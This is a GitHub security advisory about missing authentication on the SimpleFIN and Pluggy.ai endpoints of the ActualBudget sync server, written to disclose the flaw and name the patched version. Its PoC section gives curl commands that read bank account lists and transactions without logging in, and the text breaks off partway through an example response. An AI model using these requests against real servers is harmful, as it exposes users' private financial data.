GitHub Security Advisory: GHSA-m2cq-xjgm-f668
Package: @actual-app/sync-server (NPM)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-306: Missing Authentication for Critical Function
Vulnerable versions: < 26.2.1
Patched in: 26.2.1

Summary: ActualBudget server is Missing Authentication for SimpleFIN and Pluggy AI bank sync endpoints

Details:
### Summary

Missing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information.

### Impact

This vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network.

### Details

The ActualBudget server component allows for integration with SimpleFIN and Pluggy.ai services. These services read bank account balances and transaction data from users' banks and return the data to ActualBudget. The affected endpoints facilitate this integration and are intended to be used only by logged in users for the purposes of syncing bank transaction data.

The vulnerable source code is in the following files in the `actualbudget/actual` GitHub repository (https://github.com/actualbudget/actual/):
* `/packages/sync-server/src/app-simplefin/app-simplefin.js`
* `/packages/sync-server/src/app-pluggyai/app-pluggyai.js`

The sensitive endpoints missing authentication are:
* `POST /simplefin/status`
* `POST /simplefin/accounts`
* `POST /simplefin/transactions`
* `POST /pluggyai/status`
* `POST /pluggyai/accounts`
* `POST /pluggyai/transactions`

The following source code is an example of an integration that implements the authentication middleware (`packages/sync-server/src/app-gocardless/app-gocardless.js`):
```js
const app = express();
app.use(requestLoggerMiddleware);
...
app.use(express.json());
app.use(validateSessionMiddleware); // <-- Uses authentication
```


### PoC

The below commands exploit this vulnerability on both the SimpleFIN and Pluggy.ai endpoints. No authentication is required. Network access is required.

SimpleFIN:
```bash
# Check if SimpleFIN is configured
curl -X POST "https://<actualbudgethost>/simplefin/status"

# List SimpleFIN accounts
curl -X POST "https://<actualbudgethost>/simplefin/accounts"

# List SimpleFIN transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/simplefin/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'
```

PluggyAI:
```bash
# Check if PluggyAI is configured
curl -X POST "https://<actualbudgethost>/pluggyai/status"

# List Pluggy.ai accounts
curl -X POST "https://<actualbudgethost>/pluggyai/accounts"

# List Pluggy.ai transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/pluggyai/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'
```

Example response from `POST /simplefin/accounts`:
```json
{
    "status": "ok",
    "data": {
        "accounts": [